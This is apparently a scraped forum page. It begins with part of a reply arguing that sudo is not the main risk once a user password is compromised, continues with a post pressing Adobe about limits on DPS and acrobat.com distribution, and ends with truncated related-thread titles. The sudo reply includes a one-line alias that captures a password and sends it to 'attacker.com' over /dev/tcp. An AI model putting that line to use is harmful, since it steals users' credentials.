    Furthermore, I think your concern is misplaced: if someone had access to your user password, there is far more he or she could do beyond using sudo (install a keylogger, alias sudo='read -p Password > /dev/tcp/attacker.com/1234', gdb(1), ptrace(2), etc). More realistic threats are usually those involving privilege escalation by other users or programs without the use of su/sudo.
    Edit: see also man sudo(1) and sudoers.conf(5).
    Last edited by EscapedNull (2014-11-05 21:32:41)

  • Adobe: WHAT IS YOUR PLAN FOR DPS/ACROBAT/DISTRIBUTION?

    Based on Matthew's post in this thread:
    http://forums.adobe.com/thread/898426?tstart=0
    I'm frankly concerned about investing any more time and resources into DPS without SOME SORT OF OUTLINED PLAN from Adobe.  Hinting that you may 'limit' functionality of the acrobat.com distribution method (which could mean anything, really) - but providing no further details - is simply not responsible.
    DPS is no longer beta.  It's a product with an accepted workflow that accommodates those who want to publish magazine content via the Pro/Enterprise plans, and those who wish to distribute via acrobat.com.  There's been endless posts on this subject, and I would hope that Adobe has some sort of roadmap to giving it's customers continued support and options.  Instead, we get a cryptic message about how the acrobat.com distribution method is blowing up your servers.
    Adobe, I'm asking for some clarification here and a clear outline of what you intend with this product.  Letting us travel down a course of building great material using DPS, and then possibly pulling the rug out from under us, is truly a concern.
    Remember, it's not just your issues that are at stake.  Some of us are promoting/pitching/praising this new software and process to our companies and clients, and getting solid support.  We need to know that you've got some sort of solid foundation and plan going.  I cannot keep pitching/using this stuff, only to later tell the people that are paying the bills that 'oops, Adobe changed their minds.'.
    Tnx

    1. Define 'limited' for the Free acrobat.com account.
    2. With either the Basic or Plus acrobat.com subscriptions, define 'limited'.
    3. What is the max number of folios that can be hosted with Basic or Plus subscriptions?
    4. If I create a folio and do NOT use the Share method, but simply give out a username and password to download the folio, define 'limited'.
    All this remains very unclear.
    Tnx

Maybe you are looking for

  • Jar version?

    Sometimes I get a third party JAR that does not contain a version number in the file name, and I need to know what version of that library the JAR file contains. For instance, say the file is foobar.jar and it was version 1.2.0. How do I determine th

  • How to reflect DB changes to my Java objects?

    Hi All, I'm new to TopLink so please be patient... maybe my question is a bit silly. I created an offline DB and a Toplink map and generated classes from my tables. I added some foreign keys to the online db and I want them to reflect at the Java cla

  • Reg:Convert DOCX to HTML

    Hi, I want to convert a microsoft word document(docx) to html using code. Can anyone help me in this context ... The doc which I am trying to convert will have Bullets,bold,italic,Images etc ... I am able to get the text but not the images and bullet

  • PS Scripting

    I'm looking for a good (i.e., able to be understood by a non-programmer) resource on PS scripting.  I'm not even sure what I want to do is possible.  I'd like to generate a script that will do a batch Merge to HDR Pro.  I'd like to point the script a

  • I have been trying all day to install the Adobe Photoshop Elements 13 I have already purchased. I need help.

    Can I enter a chat with a live person?